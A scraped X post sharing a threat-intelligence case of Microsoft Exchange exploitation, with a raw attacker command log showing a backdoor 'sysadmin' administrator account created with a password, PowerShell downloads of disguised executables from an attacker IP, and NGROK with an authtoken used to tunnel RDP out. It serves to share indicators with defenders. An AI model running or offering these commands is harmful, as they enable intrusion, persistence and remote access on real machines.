



Settings



Post



Josh
@xorJosh

Case from @HuntressLabs

Exchange Exploitation leading to backdoor account creation & NGROK
dropped masquerading as 'lsas.exe'

- http://193.201.9[.]101:11196/lzas.exe
- Attempted to tunnel out RDP

```

C:\Windows\system32\net1 localgroup Administrators sysadmin /add
localgroup Administrators sysadmin /add
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
powershell.exe wget -UseBasicParsing http://193.201.9.1:8080/ -outfile lssas.exe
powershell.exe Invoke-WebRequest -URI http://193.201.9.1:8080/ -outfile svhost.exe
.\.exe" /c net localgroup Administrators sysadmin /add
.\.exe" /c net user sysadmin Numlock!123 /add
user sysadmin Numlock!123 /add
.\.exe" /c net user sysadmin Numlock!123 /add
is.exe authtoken 2IAg5Qp1ueaLdFn06i0p1AZUmLs_45vfPptReJ1xj
em32\conhost.exe 0xffffffff
.\.exe" /c lssas.exe authtoken 2IAg5Qp1ueaLdFn06i0p1AZUmLs_45vfPptReJ1xj
exe tcp 3389 --log=stdout >
.\.exe" /c lssas.exe authtoken 2IAg5Qp1ueaLdFn06i0p1AZUmLs_45vfPptReJ1xj
exe /c whoami

```

12:54 PM · Dec 2, 2022

10 Reposts **35** Likes **7** Bookmarks



New to X?

Sign up now to get your own personalized timeline!



Sign up with Google



Sign up with Apple

Create account

By signing up, you agree to the [Terms of Service](#) and [Privacy Policy](#), including [Cookie Use](#).

Something went wrong. Try reloading.



Retry

[Terms of Service](#)
[Privacy Policy](#)
[Cookie Policy](#)
[Accessibility](#)
[Ads info](#)
[More ...](#)
 © 2024 X Corp.

Don't miss what's happening

People on X are the first to know.

Log in

Sign up

Welcome to x.com!

We are letting you know that we are changing our URL, but your privacy and data protection settings remain the same. For more details, see our Privacy Policy: <https://x.com/en/privacy>

X

Did someone say ... cookies?

X and its partners use cookies to provide you with a better, safer and faster service and to support our business. Some cookies are necessary to use our services, improve our services, and make sure they work properly. [Show more about your choices.](#)

Accept all cookies

Refuse non-essential cookies